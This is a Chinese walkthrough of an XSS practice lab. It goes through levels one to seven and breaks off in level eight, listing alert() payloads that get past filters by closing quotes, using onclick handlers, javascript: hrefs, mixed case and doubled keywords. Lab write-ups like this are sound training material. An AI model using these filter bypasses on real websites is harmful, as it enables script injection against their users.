第一关(直接插入)

直接插入script脚本弹窗就可以,payload=<script>alert(1);</script>

通关

第二关(闭合双引号)

直接插脚本,发现不行

查看网页源代码,发现需要闭合双引号

payload="><script>alert(1);</script>//

通关

第三关(单引号+onclick函数绕过)

也是直接插入脚本,发现不行

查看网页源代码,发现’<' 和' > ' 被实体化

可以用onclick函数绕过

payload=' onclick='javascript:alert(1)'//

然后随便点击搜索框一下,通关

第四关(双引号+onclick函数绕过)

直接插入脚本,发现被过滤了<, >

同上,双引号闭合,用onclick函数绕过

payload=“ onclick='javascript:alert(1)'//

然后随便点击搜索框一下,通关

第五关(新建标签+href绕过)

也是直接插入脚本,发现不行

查看网页源代码,发现第一个script被重写,但是后一个没有

双写绕过

payload=script”><script>alert(1);</script><"

发现也不行,onclick也是

尝试建新标签,超链接绕过

payload="><a href="javascript:alert("XSS")">link</a>

点击link,通关

第六关(大小写绕过)

也是直接插入脚本,发现不行

查看网页源代码,发现和上一关一样,被重写

payload="><a href="javascript:alert("XSS")">link</a>//

发现超链接href也被重写

尝试大小写,能不能绕过

payload="><a hRef='javascript:alert(1)'>link</a>//

成功通关

第七关(双写绕过)

也是直接插入,不行

查看网页源代码,发现script被过滤了

尝试大小写也被过滤,再试一下双写

发现没被过滤,闭合应该就可以了

payload="><scrscriptipt>alert(1);</scscriptript>//

通关

第八关()

也是直接插入,然后点击链接,存储型xss

发现script被重写

onclick绕过试一下